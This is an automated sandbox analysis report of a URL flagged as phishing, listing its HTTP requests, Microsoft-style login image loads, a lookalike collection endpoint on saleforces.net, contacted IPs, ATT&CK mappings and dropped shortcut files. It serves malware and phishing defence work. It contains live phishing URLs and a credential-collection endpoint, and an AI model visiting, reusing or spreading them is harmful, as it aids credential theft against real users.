Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hosuyyuiuyt/72dae30.php HTTP/1.1Host: www.saleforces.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9scqo67nnhhjl7pcg1sei2b889
Source: global traffic	HTTP traffic detected: GET /hosuyyuiuyt/72dae30.php HTTP/1.1Host: www.saleforces.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9scqo67nnhhjl7pcg1sei2b889

Source: unknown

DNS traffic detected: queries for: www.google.com

Source: unknown

HTTP traffic detected: POST /hosuyyuiuyt/72dae30.php HTTP/1.1Host: www.saleforces.netConnection: keep-aliveContent-Length: 24sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 18 Apr 2024 20:48:32 GMTContent-Type: text/htmlContent-Length: 27242Connection: closeServer: cloudflareCF-RAY: 8767842cdfa1674e-ATL

Source: chromecache_80.1.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_80.1.dr	String found in binary or memory: http://fontawesome.io/license
Source: chromecache_76.1.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_78.1.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: chromecache_74.1.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_74.1.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.63.206.91:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.63.206.91:443 -> 192.168.2.5:49719 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.win@19/32@22/11

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2032,i,2131495140126217569,7822506574545057631,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2032,i,2131495140126217569,7822506574545057631,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
www.saleforces.net	85.31.237.222	true	false	unknown
part-0013.t-0009.t-msedge.net	13.107.246.41	true	false	unknown
wzxqi.theknittingdoula.com	104.21.71.20	true	false	unknown
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev	104.18.2.35	true	false	unknown
challenges.cloudflare.com	104.17.3.184	true	false	high
www.google.com	64.233.185.147	true	false	high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8767841db9f51399	false	high
https://www.saleforces.net/hosuyyuiuyt/72dae30.php	false	unknown
https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	true	unknown
https://www.saleforces.net/hosuyyuiuyt/admin/js/sc.php?r=ZW0sZW1haWwsYWRk	false	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css	false	high
https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	true	unknown
https://code.jquery.com/jquery-3.1.1.min.js	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/0y69g/1x00000000000000000000AA/auto/normal	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	high
https://challenges.cloudflare.com/turnstile/v0/g/54ea73d52131/api.js?onload=onloadTurnstileCallback	false	high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false	high
https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/favicon.ico	false	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	high
https://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	false	unknown
https://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye/	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://fontawesome.io	chromecache_80.1.dr	false	high
https://www.cloudflare.com/favicon.ico	chromecache_74.1.dr	false	high
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_74.1.dr	false	high
http://fontawesome.io/license	chromecache_80.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.41	part-0013.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.2.35	pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev	United States	13335	CLOUDFLARENETUS	false
85.31.237.222	www.saleforces.net	Poland	41314	MARSOFT-ASPL	false
104.17.3.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
104.17.2.184	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.71.20	wzxqi.theknittingdoula.com	United States	13335	CLOUDFLARENETUS	false
64.233.185.147	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428417
Start date and time:	2024-04-18 22:47:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@19/32@22/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 173.194.219.94, 64.233.177.102, 64.233.177.138, 64.233.177.100, 64.233.177.113, 64.233.177.101, 64.233.177.139, 64.233.177.84, 34.104.35.123, 40.127.169.103, 192.229.211.108, 199.232.210.172, 20.166.126.56, 13.85.23.206, 72.21.81.240, 142.250.105.94
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, glb.sls.prod.dcat.dsp.trafficmanager.net, fs.microsoft.com, accounts.google.com, aadcdnoriginwus2.azureedge.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, wu-bg-shim.trafficmanager.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 19:48:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.985118207283619
Encrypted:	false
SSDEEP:	48:8OdcTgASHPidAKZdA19ehwiZUklqehJy+3:85PKCy
MD5:	A253B5169F3ABC570654F5940C72A85B
SHA1:	C5B3C85EDA57FCB92F8E6A0A310A3A9219C77734
SHA-256:	F413C366E7EF456B1F8C6E82E64E9655F7CA8199B10DB7B72B08E5584402E0B0
SHA-512:	880CAB3613BDE3FD4FDDBE69138C136D34699804807D65778670EBE37307388441DF4D9EB326BFA672A2D9D3CB9BA582191CE1642C70CCAE8AD9B0CE72AA053F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 19:48:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.000208320950948
Encrypted:	false
SSDEEP:	48:8WdcTgASHPidAKZdA1weh/iZUkAQkqehyy+2:8RPA9Qjy
MD5:	BFF6025BE383E77AE65AE34C520FA61C
SHA1:	F01C7F69F4134E85DCF69B7009B601C062C2FD56
SHA-256:	B9EB9337988F2E556F68B6CFC5942BE3FA01A3349C189068D8BD85C742D46FCB
SHA-512:	58BFC141624B1AF958033892DA46366ED760DA0CF4AEAEC7CEFE0C3839F1DC8D709E8DD57235A56F5E62BDE5F899DE8E054FBFE2E13B16E3C4DF05A9C8490B73
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...."......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.008169719711938
Encrypted:	false
SSDEEP:	48:8xxdcTgAsHPidAKZdA14tseh7sFiZUkmgqeh7sky+BX:8xYPynmy
MD5:	7F7C7D172EF5F81568CF233013A96821
SHA1:	0CE468C2D95F321090CA89279E4451309906CB92
SHA-256:	D46CA978B8CB9F873616708347C24A8E2D1FA36D5325F19D9018E85B855E5152
SHA-512:	ADBBD5A5767877188AEC122B3EADF15CC5B6045E42B36665DAD2B51C47312E23706D6390FBAFB85D54336E97FF15163E33FF312FD83240081987E95409CBA351
Malicious:	false
Reputation:	low
